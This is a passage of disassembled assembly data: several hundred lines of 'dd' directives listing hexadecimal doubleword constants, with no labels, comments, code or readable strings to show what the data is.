		dd 10FBB2B9h, 1D5F06C3h, 0DC8356F0h, 84D9AD5Eh,	29486861h
		dd 4B11DA2Ah, 0EC83BFDDh, 199BE66h, 45AC961Eh, 0BCF7290Ah
		dd 94868013h, 0F2D04A12h, 5C665940h, 0F068C26Ch, 79C3663Dh
		dd 0B760457h, 825F11AAh, 0A2693A08h, 0F70D7450h, 1A0AD169h
		dd 0CF4840E8h, 16E98048h, 8A71A35Eh, 0D0F6B353h, 0ECE32FF6h
		dd 20EBBF82h, 7E2AA3E1h
		dd 628B9BD8h, 0CD01BFDDh, 0A0BC4E3h, 81565DEAh,	5A46828h
		dd 80D54D20h, 0B29A1CF6h, 0B6984C20h, 0EB444F9Fh, 8108DA1h
		dd 0F1400386h, 0E72A05BFh, 8357F825h, 84FC19E3h, 3EA0B27Ch
		dd 0CBFA858h, 80820997h, 0F3208FFEh, 0FFE92F3Ch, 0F7539883h
		dd 112F8A79h, 168BE62Dh, 4745D4Bh, 0F64E59A4h, 8A0E27D4h
		dd 0E8DBCBDDh, 54CCCAh,	0B85035EEh, 7CDE2E5Fh, 0EF370500h
		dd 0C229FB1Ah, 0CAE91358h, 674B45Ah, 8858A785h,	51BB9025h
		dd 0FBFC096h, 364BFB05h, 55EFC246h, 0EC5879BEh,	9A12C003h
		dd 0E910836Dh, 1484C24Dh, 10DDB753h, 0B603B28Ah, 0F5C680F1h
		dd 0C8945C87h, 73A2594Ah, 97773375h, 70E8C185h,	89586DD5h
		dd 0F30102F9h, 0FC6A685Eh, 0DA058CF2h, 1E05C32Dh, 15E5940h
		dd 8D110BAh, 0C4E45D24h, 866CF353h, 3F793BE9h, 585CDD29h
		dd 9D51FC7Ah, 3D2A7620h, 312670BAh, 1310E5F9h, 7A1EF24Fh
		dd 6651DC2Dh, 0E91055A6h, 4F0B302Fh, 415F4568h,	0CC6C430h
		dd 6B144CBFh, 1A6D070Fh, 6399E906h, 2D4AF390h, 0D10BCB2h
		dd 1A5E2D39h, 0CEB15F0Eh, 882D6B05h, 2AD2053Eh,	7665BE10h
		dd 5201A4A3h, 0DA722EBAh, 83C2EE50h, 6393281h, 41C73AD1h
		dd 31986059h, 0E1084B96h, 0DD4E7BF1h, 0BE05707Ch, 0C08C6A04h
		dd 380E6D3h, 0D130581Dh, 614C19Eh, 7E3949ADh, 9FF0DDE8h
		dd 0B88C8097h, 0EA45DA9h, 0C1E8D169h, 0E6350740h, 163B834Eh
		dd 0CA880448h, 0A4AC5F2Fh, 0E9505E05h, 5F93D768h, 4A5A962Bh
		dd 92702400h, 0DD8F761h, 0E62518D2h, 0E9480E7Fh, 0A417CF2Ah
		dd 0C7C68104h, 0BB814C69h, 0EF115127h, 0D3D83B02h, 5542409Ah
		dd 90BE59Ch, 5C240BCDh,	5DE90E06h, 0BE257A7Eh, 2A5F8D41h
		dd 0B1EF014Fh, 0D800C60h, 0E9124B66h, 0FBA2A928h, 8D25326h
		dd 800BDB56h, 0FE9307C7h, 901648A2h, 2423C4E8h,	36C317Fh
		dd 6ADD269Fh, 0E8280C75h, 285AA77Ah, 4FEB384h, 1395CE1Fh
		dd 42FB6B0Eh, 0D8565BDEh, 599C02F6h, 0F9E97651h, 71DA024Bh
		dd 0C9483C4h, 0DC56D209h, 29B45368h, 0C5B4422Ch, 72BA2DE1h
		dd 9AB10D5h, 6A7ABD02h,	9BE01657h, 545048B4h, 504AECD3h
		dd 977C6ECAh, 2353E48Bh, 59524648h, 34712FBDh, 5CB4F393h
		dd 4027411Eh, 93196A82h, 0BEB81202h, 7C670660h,	2A0D0113h
		dd 201F5B1Eh, 3792EB16h, 50C2B69Ch, 3E1D4468h, 0E9880158h
		dd 5B1F3418h, 51A5A39Ch, 35FC8045h, 0CB814C8Eh,	701F0B0Bh
		dd 9E0F407Dh, 3C0592CCh, 9C24A5E1h, 7EBD8574h, 0AA3DC40Bh
		dd 98816423h, 503E5987h, 35C7A20Eh, 0A8805370h,	2FC63BFAh
		dd 13A0D389h, 65BF4421h, 52909A8h, 40BEF85Fh, 0C605F04Eh
		dd 6F25EE22h, 0BE0C795Eh, 14318606h, 2D51266Ch,	3A2F0907h
		dd 533D1929h, 892AB292h, 6166F654h, 2B6CA968h, 134C8D8Ch
		dd 14782A21h, 0F600AB23h, 77CD5279h, 0EFF1DEF7h, 200810C0h
		dd 3F76EEFCh, 0F3823BB6h, 0FB075550h, 0D8BEB6E9h, 0DF2D1080h
		dd 4DED7E17h, 0FA1A08h,	0B558E788h, 0FD7C309Ch,	0D0901A5Fh
		dd 0EFC872F1h, 40600960h, 0BFA04528h, 1273F7DCh, 27EF0125h
		dd 9E1A5772h, 0D479E383h, 0A04ED20Ah, 28E2BBB6h, 0AE0360C7h
		dd 2F212A14h, 5FFB0907h, 998935E9h, 708BB5DAh, 0AC56B01Eh
		dd 5BDF8Bh, 7643AD52h, 9D81B888h, 0CD808001h, 0D99230AFh
		dd 4CB527BAh, 4EBFF8DCh, 113F4B93h, 3305D320h, 8B58BB89h
		dd 68C844CDh, 0C9712900h, 0B9515A57h, 420F174Fh, 41540875h
		dd 5B01FCA6h, 0CA31D494h, 4FFFCF2Ah, 0D3C980B2h, 205D7529h
		dd 2704F198h, 5880428h,	0C1163630h, 422DC8B1h, 0C7595907h
		dd 3904DBEh, 0E566D9BDh, 5406D743h, 4EB19714h, 0BBF18147h
		dd 340E2BB3h, 311DC23Ah, 2EF08648h, 0EA2D36C5h,	550830Bh
		dd 716059Ch, 5A81BFE2h,	2A66C331h, 0C21744A0h, 4FAC6861h
		dd 0B1629EF4h, 3A80DDE6h, 0E9E130F7h, 0F8C5944Fh, 47504CA3h
		dd 0DA311211h, 466B0751h, 88D3987h, 3B724008h, 0EBB81128h
		dd 2CC2772Eh, 161CBCBAh, 41A84A6Bh, 0EADAF192h,	0CAF6227Dh
		dd 0FD7C0B92h, 62FE2964h, 40405135h, 0A31E3A41h, 2881B945h
		dd 42E9FB56h, 0F24E9438h, 3968E02Ch, 50CC9F41h,	0A7256A38h
		dd 0B64AF029h, 2776870Fh, 6C086F1Eh, 0DD02591Eh, 765C011Bh
		dd 340C68E5h, 0F91C2428h, 19908462h, 0B82874AAh, 0B7E9F1EFh
		dd 4B577824h, 2CFA368h,	0D245F3EDh, 3C28F76Bh, 0BAE92508h
		dd 982FAD9Ch, 97DE4D28h, 940A0164h, 0D47EA014h,	24B0051Dh
		dd 95D831ADh, 0E9423E5Bh, 130D7EA8h, 0B263FCADh, 2DDE7C36h
		dd 59D2DD9Ah, 9829949Fh, 0B3055A35h, 47B2013Bh,	0C2833CC9h
		dd 68E2A881h, 0DB12C606h, 0F3A243CBh, 8AD8007Fh, 0F913517Dh
		dd 0C3635DFEh, 6595B0C5h, 0A28F2962h, 542D991h,	0A4BB0F66h
		dd 4FBC436Ah, 9FFBF125h, 2A66095Ch, 279057EEh, 6E1985Fh
		dd 0ED3B0D7Bh, 3559313Fh, 7BCD3F5Fh, 0AE9CA802h, 52F5C1B5h
		dd 0C822B18h, 933D0688h, 336A9B81h, 0CF01DCD8h,	881BAB8h
		dd 0E9994859h, 0F942BC2Fh, 2097282Eh, 0BF31336Eh, 0FA899F1Ch
		dd 0EC20A20h, 2A8D2851h, 2254EAC0h, 17F4648h, 68081CD0h
		dd 0BF2C141Ch, 0BAEF6027h, 3D76091Bh, 85E0B9E9h, 0AB700459h
		dd 5E2CD03Ah, 5CCAD4B2h, 0FD2999AFh, 0ADD9C758h, 0C95A39EFh
		dd 12291459h, 0C49FE952h, 8145E98Eh, 0D9FD63EFh, 4128E9F4h
		dd 0EB1E3009h, 4A60594h, 0FF21F08h, 0A2F3FD88h,	0B2DE6067h
		dd 4A16DD22h, 0E9958C5Eh, 48BE4127h, 0B46D8A9Bh, 908BE2B4h
		dd 0AA40F614h, 6905F4F5h, 0F056DE80h, 0E92FEBDCh, 5D210959h
		dd 1FEA8F9Bh, 5B855E19h, 0AC39C680h, 3ECD231h, 1C472182h
		dd 1E48F272h, 5BDE848Ch, 0B8EE4CB0h, 0BAF604A2h, 0E12CDFD2h
		dd 1A967E37h, 0F3C97B1Eh, 24780C6Ah, 0D3092D75h, 78C7CAD6h
		dd 0A0C0A031h, 398039Fh, 4E59CE21h, 798EDC04h, 0E2826295h
		dd 0E68902C2h, 6A85FC60h, 66677A37h, 5AE90D2Ch,	5FD60902h
		dd 7CE1C881h, 223E8B17h, 88A2104Ch, 1C842C2Bh, 27CB02FDh
		dd 10DF6CE0h, 265214D7h, 323932E8h, 22575BF9h, 0D93EEABBh
		dd 720A822Fh, 95D0BE7h,	0A0C29393h, 60AB62D0h, 4E720C1Bh
		dd 50971FA5h, 0BC1A0EA3h, 0BAA52289h, 0D921BC13h, 0B8F05265h
		dd 0B59D7F59h, 8ADF5C42h, 0C602F6E0h, 0FD37FA06h, 0F791E581h
		dd 565BCFD0h, 92759E88h, 463BBF41h, 0AE5473EAh,	1BC2813h
		dd 82EB80B0h, 0E539E916h, 752F9FB9h, 58C68EC8h,	0DFE1214Fh
		dd 5B382A6Ah, 96CD0581h, 91D7DE79h, 1193254h, 0EC3CDAE9h
		dd 0E17F0BDEh, 2509F54h, 8CE98033h, 0DEE4BD48h,	7E267909h
		dd 8FA1627Bh, 40E01349h, 0A760E29Ah, 22C55A50h,	0A5589F00h
		dd 0EC235005h, 908DB844h, 0D80882DBh, 0F7EB370Dh, 80EEF444h
		dd 9084FAAh, 6A0C4E69h,	0F0AE4078h, 0E1515E5Eh,	4BCC3A2Dh
		dd 10AE606Ch, 391725B8h, 212D111Ah, 84E26A0Bh, 75ACB6E0h
		dd 0C4BEA892h, 8003212Fh, 0D9C2ECC5h, 303F9050h, 0F183B0FAh
		dd 13DBF75Ah, 0E807EBC1h, 8FB01E1h, 0BF68E988h,	5E58A474h
		dd 27C38B6Ah, 0BFE10293h, 362941D7h, 0A82FC4E8h, 4C33F9F6h
		dd 0EF4C8E11h, 0C6381604h, 26E7001Bh, 16421205h, 4AA263E9h
		dd 3C855B35h, 22A7EFAFh, 0F1812049h, 0BC73E6Fh,	50CBBE7Fh
		dd 0EE12C3D9h, 29F14A2Eh, 0C010B9C6h, 0C151FD58h, 0BD00F4D3h
		dd 612E1F01h, 0A3022E71h, 7D637408h, 2E5E000h, 235BC03Eh
		dd 0D747C7A1h, 50DB61C9h
		dd 0B772B773h, 0E98962E5h, 5FEC400Ch, 0D3F73993h, 0C0E14AFAh
		dd 7C17BE67h, 0DA97DF50h, 0CB40B1BCh, 805D1D3Ah, 53300322h
		dd 6AF51814h, 816B4F06h, 3440A891h, 5112F636h, 0CD043F1Ch
		dd 31BE0C0Dh, 18D9FD1h,	0CE315E66h, 18052CE1h, 15611008h
		dd 0C707AA9Fh, 0AECDBA0Bh, 0E27CC971h, 2579FC4Dh, 13BF91D9h
		dd 79D01D47h, 405C23D2h, 3F283178h, 0F37B97F7h,	0BCD543Eh
		dd 0FE0EB3E9h, 0EDDE419Ah, 8ED5E652h, 16D66BF0h, 81FB90B1h
		dd 7240139Fh, 7B5A6E87h, 30495D3Fh, 0DF306775h,	0CB09FEB1h
		dd 9F20FE70h, 0F5C8A0ACh, 0AB0618C7h, 0E75B7A37h, 6D79B24h
		dd 0A964530Eh, 4C01216h, 58AD5D08h, 0E4E3681Eh,	0D1C4696Eh
		dd 0AF54BA98h, 0C70CF6D8h, 0C6F172Bh, 0CE9017B6h, 8EC710B5h
		dd 4C651204h, 0D1F1F6Eh, 51E92FC5h, 986D13BEh, 440CE17Bh
		dd 4A4625FBh, 0CB282E20h, 0B3E601FEh, 0BB072331h, 187FBA1Ah
		dd 1F6053F4h, 9D4F711Ah, 0F53148E0h, 0B70FE912h, 68C29AB8h
		dd 484806FEh, 6D99E663h, 54565884h, 50090BF3h, 0DD29F1E9h
		dd 182E802h, 8970E95Ch,	6C18B5EEh, 0A8BA5657h, 276CBB3Eh
		dd 81A57021h, 11608907h, 4FCC985Eh, 0C91C300Fh,	60E16F73h
		dd 0E97606F3h, 853EBB9Ch, 64AE1514h, 4AE04BC0h,	295D25DCh
		dd 804B8C2h, 0EB2CBE5Eh, 0B4DB97EAh, 8F8078ACh,	0E95A2047h
		dd 89094B8Ah, 94774258h, 0C1997E0Bh, 0FCF9F766h, 1ECCB9AEh
		dd 41DA2F09h, 0A4F02AA0h, 937A9721h, 273EA4Ch, 0D089F1F5h
		dd 2666555Ah, 2EC91290h, 1C09703Eh, 803C2BB9h, 5CC98136h
		dd 6B1CA242h, 6D56841h,	0FC48191h, 0F600D3Ch, 108609E6h
		dd 0B4E27DD1h, 67683BC2h, 5B5BD989h, 0B48D2BF4h, 0CE6E2598h
		dd 0E61CA29Fh, 0F480012Fh, 65B5E137h, 0B3C33EF1h, 9E45F08h
		dd 2C225821h, 5F04C0B4h, 18A5D2AFh, 0BA07745Eh,	35950969h
		dd 810524C0h, 4D4713CAh, 376CA0AFh, 709D3816h, 0D8B8301h
		dd 7F108Ch, 77BD559Dh, 5B287948h, 0F6259F01h, 5033FCB3h
		dd 2E052AADh, 4799E966h, 0DEDC9F40h, 0D201FEC6h, 0FA4E81F8h
		dd 0C7896AD0h, 0A937F220h, 0FEC9C7A5h, 65D56A20h, 0C9BE24FCh
		dd 0A4287F69h, 802D9A41h, 0A40538D8h, 705305A5h, 0D4413261h
		dd 77F9C390h, 963AA581h, 46010215h, 0EC270D2h, 0B1AD72E1h
		dd 0CAF12CD8h, 534FBD70h, 3B4E58F0h, 907E2D0Ah,	0BCBE00C7h
		dd 3152A737h, 89955EF3h, 13BEF953h, 6E0FBE10h, 114F9621h
		dd 0FD125A0Eh, 0DE687A82h, 7B2FCF5Eh, 0FC6664D9h, 6DABA55Fh
		dd 0F2CE6F42h, 5763D14Bh, 0D43500CDh, 3091716h,	82404401h
		dd 480D04DAh, 0A82D68C3h, 17C42994h, 4E8D165h, 0FA1C386Ch
		dd 0BDCB785Dh, 0E4574831h, 14153DFBh, 0EE6203AFh, 4D2C2472h
		dd 2F8801AAh, 4E29188Ah, 311534B9h, 50CF2DA6h, 0E176D10Ah
		dd 0F1C2B227h, 0B7569615h, 4CB5D2B0h, 4AE6F964h, 0A265FC0Eh
		dd 7CBCD8F7h, 3BBF2460h, 0C582A5C9h, 74092E25h,	0EB01C2A7h
		dd 602039DAh, 0B151123Bh, 67A5B820h, 0F46D0306h, 44F623C9h
		dd 0BD22743h, 8907B5D3h, 0BF4353E7h, 0F20B9C3h,	8237B560h
		dd 0D3D20D8Bh, 2FE5F9F7h, 0A313A48Eh, 0F613C8B3h, 8FF9E14Bh
		dd 0E916C05Ch, 0DC7558DFh, 0DE4DF706h, 0FA025BD4h, 0E0FC1A37h
		dd 0B102D9Ch, 0F5010C86h, 1708B608h, 2941D25Eh,	89444B7Ch
		dd 5B24DBA7h, 75090F88h, 843137C4h, 0B13EF821h,	0E3821662h
		dd 8A3070F1h, 30CB68E1h, 30B40B7Ah, 2EC8EA82h, 1D27C07h
		dd 51C02DAh, 14C2D601h,	10C080Dh, 550A8B14h, 4B478BFAh
		dd 9E45C09Eh, 12A9536Eh, 2A1DF377h, 5814DC40h, 5CCCB01h
		dd 11BA3B76h, 7BCAC782h, 0E27FB718h, 800143C3h,	0B02AF9F5h
		dd 278E55Dh, 923CC53Dh,	20AF5CEBh, 1D736809h, 0D16143BCh
		dd 0F270C5FEh, 49324E02h, 0D907B0C8h, 89A7AA53h, 0A021888Fh
		dd 6F4D5EF5h, 7B33A297h, 0E101BACBh, 49FAE990h,	73F66E5h
		dd 0BEB9490Dh, 8228B108h, 0F35A80Fh, 54D66F1Ch,	0B14040Bh
		dd 1C8403B0h, 0E9A15CACh, 39028A2h, 0EB4031B8h,	61C2A26Ah
		dd 6428381Dh, 126ABC92h, 0C8A1CC85h, 1E767B50h,	2B70BF10h
		dd 49125D4Eh, 0E9943CBAh, 0DBB2A427h, 0B55C9203h, 0E67B78CAh
		dd 12ED9F12h, 929551ADh, 67F9B354h, 7042A7A0h, 18848B06h
		dd 9887FE03h, 0D280951Ch, 1F98FFBh, 8B9F5FE4h, 9F8847E4h
		dd 99EE438h, 0D91B87B6h, 0AFFE89C3h, 47207490h,	0C9A2BEB9h
		dd 0B72D682h, 163C99D1h, 7E449991h, 0D28858C5h,	74282D68h
		dd 0C6B64B91h, 39288DF4h, 73C1875Bh, 493F13A0h,	0E284402Bh
		dd 80DAE8FDh, 0D05D9DB8h, 0F1C9B50Dh, 0E835DCF7h, 1EBC3703h
		dd 0A766182Dh, 0D68D8099h, 9214E573h, 81DB7134h, 0EA30305Bh
		dd 6C6D311Fh, 59568512h, 2EA28CF8h, 475888A9h, 850571C0h
		dd 0EA3BAA09h, 740F0988h, 1B072576h, 2BE17F97h,	2A7391BFh
		dd 8316BC12h, 0ED5E965Fh, 0E246348Bh, 59070067h, 95116768h
		dd 74598612h, 57977316h, 7EED8B69h, 947D5232h, 0C15F0BF4h
		dd 730008E1h, 6DB37379h, 0D1A9314Eh, 0EE065F94h, 0C2CFC01h
		dd 78192A0Fh, 23263F3Ch, 68170820h, 0B4D24716h,	3D3F0A22h
		dd 0DEFD7F98h, 0AAAA91E5h, 3CD24002h, 868F9FA2h, 0FB296601h
		dd 0C079F566h, 0F2BBC76h, 15B7C0B7h, 4087A033h,	0FE772123h
		dd 5EEB1C34h, 6014ACE4h, 93C63B0Eh, 61311A3Ch, 52E2A01h
		dd 1601653Ah, 28064775h, 8E4C73C5h, 0EAD14C04h,	4AC2D039h
		dd 25ADADFh, 79D73289h,	2BE0FA01h, 7995F037h, 35532F5Fh
		dd 788DE926h, 7AFA3FA9h, 898D968Ch, 0FF5C27B7h,	40AA1A4h
		dd 0B9920E34h, 0AE241DFCh, 9BC02FF4h, 0BB80E877h, 157305A1h
		dd 88D9895Fh, 0D5E840Ah, 5BA0E38Ch, 6667DC3Dh, 5FE03B5Eh
		dd 4C8569C5h, 2C241E7Dh, 0ADE876E9h, 5A4F07CCh,	520493CAh
		dd 0AFA51DE9h, 0B3C0AC24h, 0BC0839h, 99EE81CAh,	16C4A3Ah
		dd 0CCC651h, 0F0895808h, 0C7035498h, 67B46A1h, 40B601h
		dd 1AB73A8Fh, 0CC7C2E35h, 8B291C3Eh, 0EC2545E9h, 2FDFBEBCh
		dd 0E98B9F71h, 0BDEEF042h, 2B8D9FC9h, 2BAF4885h, 5EDF448Ch
		dd 27D2969Fh, 3BDAEE62h, 91727A00h, 73E58138h, 74961D43h
		dd 9F0594C1h, 2D038549h, 69865E77h, 0E15AC9D2h,	6C02C572h
		dd 0EF897303h, 2380835Dh, 4DB79394h, 0CC5F6F28h, 0DB48F779h
		dd 0A2E401C9h, 9FE99A86h, 0DC5F2D68h, 8590625h,	628211D7h
		dd 52131948h, 23C90C55h, 278C5D1h, 2A9466Eh, 77C380EBh
		dd 0CCB01660h, 43F0981h, 12BDAD1Ah, 68BB02FEh, 0D4F67F05h
		dd 0CAFC1165h, 0C2A2A04Eh, 3F4A14FEh, 0C10494CAh, 0BE5302E3h
		dd 16DA7710h, 74C052E9h, 17F2B551h, 1979ED80h, 6F0E22Bh
		dd 18C30FFDh, 0A0B33E75h, 0A967E9B7h, 0E96E57BDh, 0D88FCBF4h
		dd 902B5E60h, 48ACF055h, 825FDE58h, 5ECA0513h, 186456D6h
		dd 0A5843A21h, 0C4CDD11Ch, 59968851h, 0E90DC28Ch, 39539A4Ah
		dd 0A14A5ACh, 0B21028ADh, 0B050661Dh, 4A8972ACh, 177F643Ah
		dd 79639568h, 5C11DA0Bh, 22E4120h, 0E96ABE0Ah, 75D4CC3Ch
		dd 539F1DEAh, 5A45FED9h, 5B314E48h, 9337F2C1h, 19094B13h
		dd 0E118DDE7h, 0EEBF07E4h, 0F8681318h, 5B049A36h, 5DBE14C2h
		dd 197E4FE0h, 83852086h, 8FBFABF8h, 0C98EB777h,	8A762B58h
		dd 0B3004A74h, 8DF380BDh, 9FDE4C88h, 0E2B70B7Ah, 0F5055E9h
		dd 2E2B214Ch, 5010A48h,	82880E33h, 8B3A2031h, 0DA004BFDh
		dd 754E262Dh, 7B089D7Ah
		dd 0DAB02507h, 7582F55Eh, 92EAAA85h, 54D22918h,	0C25F56F4h
		dd 78DC40D0h, 0C67A40CEh, 0F017212h, 0C5A716FFh, 0F4971621h
		dd 0FD2FE91Ch, 5AF272D7h, 0BF4D80F6h, 6002859h,	65F78121h
		dd 987A1A0Ch, 2D5A0576h, 0FF096B9Ch, 0D2862941h, 0D2408463h
		dd 4BA504B8h, 0ED5F8222h, 38750889h, 7E54509Bh,	94C7BD8Bh
		dd 86B0671Fh, 3F3D73BAh, 0EAAE6205h, 0C6E2002Ah, 4253C539h
		dd 441DEC0h, 8231758Ah,	7CC63441h, 1658E1DFh, 0BF0D9D3Bh
		dd 898C2507h, 8D25BDAh,	0F327CBC7h, 93CAC93h, 0F498FA47h
		dd 283ACF2Ch, 5B78F4F8h, 0D8127A70h, 0C9FDB2E9h, 153BCD02h
		dd 8B8777A5h, 7FAF92C0h, 0F827325Ch, 57210202h,	2ABBE91Ch
		dd 0AABB9477h, 5B4A7541h, 42AF8742h, 0B4387704h, 59A1FACh
		dd 51B925A3h, 0A7CC2A3Fh, 42A84C13h, 0C81924A7h, 8140F743h
		dd 77432A68h, 0B99226C5h, 0B05BEBF7h, 5D15F509h, 0D9C72013h
		dd 83ADED60h, 4207F38h,	272E840Fh, 7D1F3F4h, 0F737161Ah
		dd 0ECD524DDh, 0D0070F5Bh, 0FE72F9AEh, 54BB6007h, 61BD6E4Bh
		dd 926B43C7h, 1DD30279h, 0BAABE904h, 297EF5B5h,	3E883EACh
		dd 0A2869566h, 883BEB82h, 84A1AFD7h, 0A9C858F8h, 0C209BF3Fh
		dd 9D7B54D6h, 0F04DBDCAh, 0E92529E6h, 0D74C4207h, 3609BA89h
		dd 599E255Dh, 53DE97F8h, 0BEB1B0D7h, 29A573A3h,	3252206Dh
		dd 4BEE71C9h, 130C703Bh, 1F64A563h, 0E44C35A1h,	5E31F6Fh
		dd 54D42CFBh, 5DF20997h, 6057FBB9h, 791633EBh, 24A15F1Dh
		dd 58AD0FBEh, 82C5A230h, 0BAD460Bh, 88A70F01h, 88363086h
		dd 0B8C455E6h, 0C34021E5h, 1A8654C9h, 1C4EC5F6h, 41A799A4h
		dd 1C9C7BE6h, 1890B471h, 0B951BF01h, 0D2F2EBBFh, 3646094Ch
		dd 0A5D49283h, 0B5392481h, 0E50BC071h, 4D5F606h, 87EF73FEh
		dd 1EC3043Dh, 0E1337BAh, 0D459EBF7h, 0FDB2504Bh, 0DA4AF2FCh
		dd 0B1034FF3h, 52C9FEEAh, 887D6601h, 0C68059EEh, 43F698E7h
		dd 3F05B730h, 285321CAh, 66577BD3h, 4F2F65A4h, 0C192E280h
		dd 31363EF5h, 32E9FDC4h, 0B226F39Dh, 0CCC2FBC0h, 0DE406EB8h
		dd 12E3B766h, 94C31A3h,	0BF02C8BCh, 0F712B44Bh,	28367F63h
		dd 3437B9E8h, 0B80E852Dh, 8052C503h, 611B2918h,	0DD3B89B7h
		dd 3CD1E587h, 65B8A89Ah, 1C316C33h, 9082A835h, 26C49C8Ch
		dd 0ED64CBE2h, 1FB7BD01h, 0EE317FE7h, 0B0F78730h, 899A5C44h
		dd 0C7CD2E7h, 0F0252575h, 0BFF49BE8h, 410C3F61h, 5968ED85h
		dd 2F08C91Dh, 0C25F63E2h, 81A7761Dh, 0A1706656h, 0DCE28927h
		dd 0D958FA74h, 7F48C298h, 0EFA8B45Ah, 0ED11B735h, 0DD97F131h
		dd 8790500h, 29127A05h,	71B2DD0h, 29D461F3h, 0E351C189h
		dd 4555C6EAh, 0E55E27A8h, 2748557Ah, 5582F669h,	2948DF66h
		dd 7C895E46h, 80EDCACh,	392CC7A5h, 0F73074B1h, 14970205h
		dd 0B60EF328h, 0BB8EC506h, 0C7E356A1h, 26BE5601h, 3C78DF62h
		dd 0FB4873E0h, 2FAE01E3h, 41E932E4h, 59350B6Fh,	0CAFDC4C8h
		dd 5814B80h, 0D919DECBh, 0E110FE73h, 608505FCh,	0A2BCBB2Eh
		dd 7E5167Ch, 98DD0345h,	2DD30252h, 67AE3DC8h, 392F0D02h
		dd 0C65726A2h, 789A9893h, 67A5D5Eh, 501D2D06h, 0C1251A10h
		dd 595ED658h, 7403E2Ah,	0F739EF6h, 64A8F628h, 0F0301682h
		dd 50E3EDC1h, 802EB6B2h, 2815CE3Fh, 8C29FFEh, 753A60E9h
		dd 9B82366Ch, 0CB166FFBh, 5CAC6AFCh, 68906825h,	83A00F89h
		dd 0FB0D62DFh, 4882F97Eh, 8340E430h, 988105A0h,	52CA5A8Fh
		dd 0F302A90Eh, 1AB05494h, 0C40D09D5h, 55500059h, 92758C68h
		dd 0B8345D23h, 84FA0D8Eh, 25E1ACB6h, 0A5DD8EB1h, 0D6F97DCCh
		dd 2219774Ch, 10BF1BE4h, 0BD54515Dh, 592F19EDh,	355A32E5h
		dd 6459A7A7h, 2D1A3AAh,	4F45B3BAh, 698DF00Ch, 82D70FAEh
		dd 0D4A983h, 881D69BFh,	0D7F74912h, 2D4862B2h, 0A2BBC344h
		dd 3634C00Ah, 5A493758h, 8548ED8h, 0CF03587Eh, 2899CD92h
		dd 0C568A06Dh, 4836962Dh, 0C823129Fh, 81695360h, 0E8EC1218h
		dd 9F26BC4Bh, 45A78047h, 17E90A0Ah, 3FAADA8h, 90B88F20h
		dd 0E44A9833h, 0E7789D97h, 9B2A7831h, 45516D0Ch, 1FE946BDh
		dd 12E55D9h, 0E2480578h, 7021453h, 0B022C8E9h, 3C60C2BDh
		dd 0D33F424Bh, 0BEEE4E93h, 81F05128h, 5CBA7C78h, 23104A7Eh
		dd 64046CC5h, 9B5C1353h, 1013F873h, 8712366Fh, 203CF1F3h
		dd 0C34105CEh, 6A690242h, 0F52FF70Dh, 127C93E6h, 2C5D20E1h
		dd 8AA0C35Ah, 25A22F68h, 80A52498h, 0FE01C51Ch,	6AC08EEh
		dd 68005413h, 0E9EB281Dh, 25E29475h, 340E6E7Eh,	85C2AF2Eh
		dd 0C4ED10D9h, 3CC098CBh, 0E012922Dh, 874EF361h, 0F6B1B86Ch
		dd 0BC884BD4h, 0D0C02DFBh, 97455B73h, 7990F0EBh, 0C6EC7DBEh
		dd 0FA78AF0Bh, 7F892283h, 0BF475FD6h, 9673662Fh, 0BA02272Ah
		dd 93D4A143h, 502CD362h, 910254F5h, 5D683D56h, 91076D93h
		dd 309A5B9h, 0B8D1B152h, 0F4BD376Bh, 3138A04Dh,	0EA85C095h
		dd 0A47317F3h, 40D2BD02h, 52545E08h, 5E1631Ch, 9629EDBDh
		dd 0E0153F89h, 0E52FB1BEh, 7E4180F0h, 8621CC05h, 57D350Ch
		dd 29DF445Fh, 0B25ABC9h, 5A81C4A4h, 8566B230h, 0BCE0DE31h
		dd 89FC0495h, 0E6F021AFh, 404F25B2h, 0F695BA38h, 0BE2001CBh
		dd 7B895BEDh, 0C49C2031h, 4CBF2B9Dh, 9B60205Ah,	515E5B25h
		dd 65EA62A4h, 6CBD18h, 0BF25345Dh, 49BAAF9Dh, 0F865E99Dh
		dd 0E95FF384h, 5A26E867h, 0A32E7CD9h, 5A284E60h, 261A94B1h
		dd 0C4CA3DCFh, 92ABA980h, 0D0503EE3h, 132A16A3h, 3F370174h
		dd 6A46384Fh, 6C167190h, 0A04E5A85h, 4A091265h,	0E046E936h
		dd 0EFE82146h, 613AFBD9h, 3A47BDC9h, 0FB4B0B9Ch, 0A650C104h
		dd 0DACC6A27h, 31745A52h, 0A3FBEBh, 17ACBE35h, 17517239h
		dd 7FC6E173h, 6C797E00h, 972119F5h, 0A9DC7C82h,	2AA8B09h
		dd 9D03D3Fh, 7A10B67Ch,	0A25BC458h, 0C14C545h, 0E90D05A3h
		dd 7B1D1D7Bh, 8792685Eh, 8B7F04A1h, 0DCCC9272h,	501F9656h
		dd 1000E0BAh, 0BCBE7E0Ah, 9AD6FC45h, 221220CEh,	890F5EB0h
		dd 6E67D56Fh, 0E76D3818h, 6A2317BDh, 0F12D170Ch, 0B3A73C5Eh
		dd 0FAFC1AF2h, 6ADC1119h, 354BE28h, 0E69C5D88h,	0D4B375C2h
		dd 6E2630Dh, 0EAC7750Ah, 10FD379h, 8EF0AF7h, 7025A12Bh
		dd 3FE177h, 0BA5255DEh,	0AB261F94h, 0C1180D2Ch,	38F7347Ah
		dd 0E98B42D2h, 97C6F561h, 20D50D20h, 0A13BDEF7h, 0F96D3E23h
		dd 680AB7BEh, 0B142C945h, 17962A83h, 3DAEDF8h, 32D0306Fh
		dd 0EAB0E081h, 0A11D5FB8h, 0D7BAE027h, 2CBD5395h, 0BDAE22F9h
		dd 133F9465h, 0CE41DB8Dh, 34E798F2h, 5AD485EAh,	0A367D749h
		dd 8E465E42h, 0F3FA4AA8h, 46D94BCEh, 68DDAC12h,	12875D23h
		dd 0E0D031F2h, 2840F60Ch, 87EF50C1h, 0F57D6014h, 59E6482Fh
		dd 851C83BEh, 426FC300h, 0FFDAE94Ah, 155136A7h,	0BD9F507h
		dd 370C5489h, 837E4B12h, 2F1CF16h, 0DFEDD82Fh, 1C41C290h
		dd 76B90342h, 0EE68E052h, 7C6A4F23h, 9E13E8D1h,	9D894E9Ch
		dd 0D02135B0h, 0E8C15A01h, 0C764E918h, 0F2C80A72h, 4FE82F0Dh
		dd 0B621C431h, 6638BC9Ch, 0A1282C8h, 0C381498Ch, 423A7BDBh
		dd 954876B6h, 9497FB21h, 0F74312A7h, 85A300DBh,	255B0D68h
		dd 4B06C60Eh, 4DAAA121h, 66956F59h, 482DB39Ah, 584BAB7Ah
		dd 0F5B2FE16h, 4F786910h, 0B8B532B8h, 0D29112E0h, 0C9816630h
